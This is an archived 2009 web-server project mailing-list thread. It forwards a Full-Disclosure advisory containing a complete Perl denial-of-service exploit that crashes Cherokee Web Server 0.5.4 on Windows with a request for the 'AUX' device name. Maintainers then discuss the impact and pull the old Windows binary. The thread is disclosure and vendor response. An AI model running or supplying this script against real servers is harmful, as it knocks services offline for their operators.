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Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service

 

 

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abarrera at neurosecurity

Oct 27, 2009, 3:31 AM

Post #1 of 5 (107 views)
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Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service

When ppl start coding exploits for your software is cause it's starting to be
known ;)

Afaik that's a really old version, isn't it?

---------- Forwarded Message ----------

Subject: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service
Date: Monday 26 October 2009
From: usman[at]xc0re.net
To: full-disclosure[at]lists.grok.org.uk

Disclaimer: [.This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation :


#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [.This code is for Educational Purposes , I would Not be responsible for
any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";

$stuff = "GET /".$packet." HTTP/1.1\r\n" .
"User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n" .
"Host:$host\r\n".
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n".
"Accept-Language: en-US,en;q=0.9\r\n".
"Accept-Charset: iso-8859-1,*,utf-8\r\n".
"Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n";


use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [.This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

exit;
}

$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort
=> $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [.This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";


print "\n";
print "[*] Initializing\n";
sleep(2);
print "[*] Sendin DOS Packet \n";
send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;

exit;

Author : Usman Saeed , Xc0re Security Research Group.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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"We must be the change we wish to see in the world"
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pubcrawler.com at gmail

Oct 27, 2009, 3:37 AM

Post #2 of 5 (104 views)
Permalink
Re: Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service [In reply to]

Well I'd say this is good news and bad news.

That hack is for 0.54 on Windows, which is the latest Windows release
version. That's the bad news.

The good news is we need to insure that Linux releases are not
impacted by this hack- like I suspect it isn't. Someone out there that
can test the code against a Linux installation?

Guess we need to get a more current release out for Windows or phase
out Windows support for now.

Curious how many people are using Cherokee under Windows?

On Tue, Oct 27, 2009 at 6:31 AM, Alejandro Barrera
<abarrera[at]neurosecurity.com> wrote:
>
> When ppl start coding exploits for your software is cause it's starting to be
> known ;)
>
> Afaik that's a really old version, isn't it?
>
> ----------  Forwarded Message  ----------
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alvaro at octality

Oct 27, 2009, 8:33 AM

Post #3 of 5 (101 views)
Permalink
Re: Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service [In reply to]

On 27/10/2009, at 04:31, Alejandro Barrera wrote:

> When ppl start coding exploits for your software is cause it's
> starting to be
> known ;)
>
> Afaik that's a really old version, isn't it?

Yeah, I cannot say I'm happy.. but they found an issue with a 3,5 year
old binary for Windows. Since 99.9% of the Cherokee users run it on
unix derivates, I do not think the exploit is such a big deal.

By the moment I'm removing the Windows binary from the download
section. I'll add a note pointing people to download Stefan's latest
binary. Stefan, does that work for ya? You could also upload your
builds to cherokee-project.com. What do you prefer?

--
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http://www.octality.com/

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alvaro at octality

Oct 27, 2009, 11:33 AM

Post #4 of 5 (100 views)
Permalink
Re: Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service [In reply to]

On 27/10/2009, at 09:33, Alvaro Lopez Ortega wrote:
On 27/10/2009, at 04:31, Alejandro Barrera wrote:
>
>> When ppl start coding exploits for your software is cause it's
>> starting to be
>> known ;)
>>
>> Afaik that's a really old version, isn't it?
>
> Yeah, I cannot say I'm happy.. but they found an issue with a 3,5
> year old binary for Windows. Since 99.9% of the Cherokee users run
> it on unix derivates, I do not think the exploit is such a big deal.
>
> By the moment I'm removing the Windows binary from the download
> section. I'll add a note pointing people to download Stefan's latest
> binary. Stefan, does that work for ya? You could also upload your
> builds to cherokee-project.com. What do you prefer?

The Windows binaries are no longer available until a modern version is
built/packaged:

http://www.cherokee-project.com/download/windows/

--
Octality
http://www.octality.com/

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stefan at konink

Oct 27, 2009, 11:38 AM

Post #5 of 5 (100 views)
Permalink
Re: Fwd: [Full-disclosure] Cherokee Web Server 0.5.4 Denial Of Service [In reply to]

On Tue, 27 Oct 2009, Alvaro Lopez Ortega wrote:

> On 27/10/2009, at 09:33, Alvaro Lopez Ortega wrote:
> On 27/10/2009, at 04:31, Alejandro Barrera wrote:
> >
> >> When ppl start coding exploits for your software is cause it's
> >> starting to be
> >> known ;)
> >>
> >> Afaik that's a really old version, isn't it?
> >
> > Yeah, I cannot say I'm happy.. but they found an issue with a 3,5
> > year old binary for Windows. Since 99.9% of the Cherokee users run
> > it on unix derivates, I do not think the exploit is such a big deal.
> >
> > By the moment I'm removing the Windows binary from the download
> > section. I'll add a note pointing people to download Stefan's latest
> > binary. Stefan, does that work for ya? You could also upload your
> > builds to cherokee-project.com. What do you prefer?
>
> The Windows binaries are no longer available until a modern version is
> built/packaged:
>
> http://www.cherokee-project.com/download/windows/

You can point people that are interested in it to here:
http://kinkrsoftware.nl/contrib/cherokee/


Stefan

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